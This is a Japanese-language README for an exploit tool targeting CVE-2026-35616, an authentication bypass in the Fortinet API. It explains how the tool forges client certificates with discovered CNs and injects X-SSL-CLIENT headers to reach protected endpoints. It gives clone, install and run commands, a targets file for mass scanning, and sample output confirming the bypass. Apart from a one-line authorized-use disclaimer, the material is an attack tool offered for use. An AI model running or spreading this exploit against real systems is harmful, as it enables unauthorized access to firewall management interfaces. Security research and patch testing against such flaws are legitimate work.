
CVE-2026-35616用のエクスプロイトスクリプト。Fortinet APIの証明書チェーン検証をバイパスし、有効なCNを発見して偽造クライアント証明書を生成し、カスタムヘッダーで保護されたエンドポイントを探索します。
Fortinet API における証明書チェーン検証バイパスの脆弱性を悪用します。
このスクリプトは、複数のソースから有効な Common Name (CN) を自動的に検出し、
偽のクライアント証明書を生成して、X-SSL-CLIENT-VERIFY および X-SSL-CLIENT-CERT ヘッダーを使用して
保護されたエンドポイントへのリクエストを実行します。
!!!重要: テストの明示的な許可を得ているシステムでのみ使用してください。
requestscryptographyurllib3openssl (TLS ハンドシェイクによる拡張 CA 検出用)# プロジェクトのクローン
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# 依存関係のインストール
pip install -r requirements.txt
## 使用方法
# 基本実行
python3 exploit.py
# ターゲットとポートを指定
python3 exploit.py <TARGET_IP> [PORT]
# 例:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# ターゲットファイルの形式 (targets.txt)
大量テスト時には、1行に1つのターゲットアドレスを記述した targets.txt ファイルを作成してください:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# 出力ファイル
実行が成功すると、スクリプトは以下を作成します:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — 以下の内容を含む詳細な JSON 形式のレポート:
使用された CN
各エンドポイントの応答ステータス
分析用の応答プレフィックス
# 出力構造
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json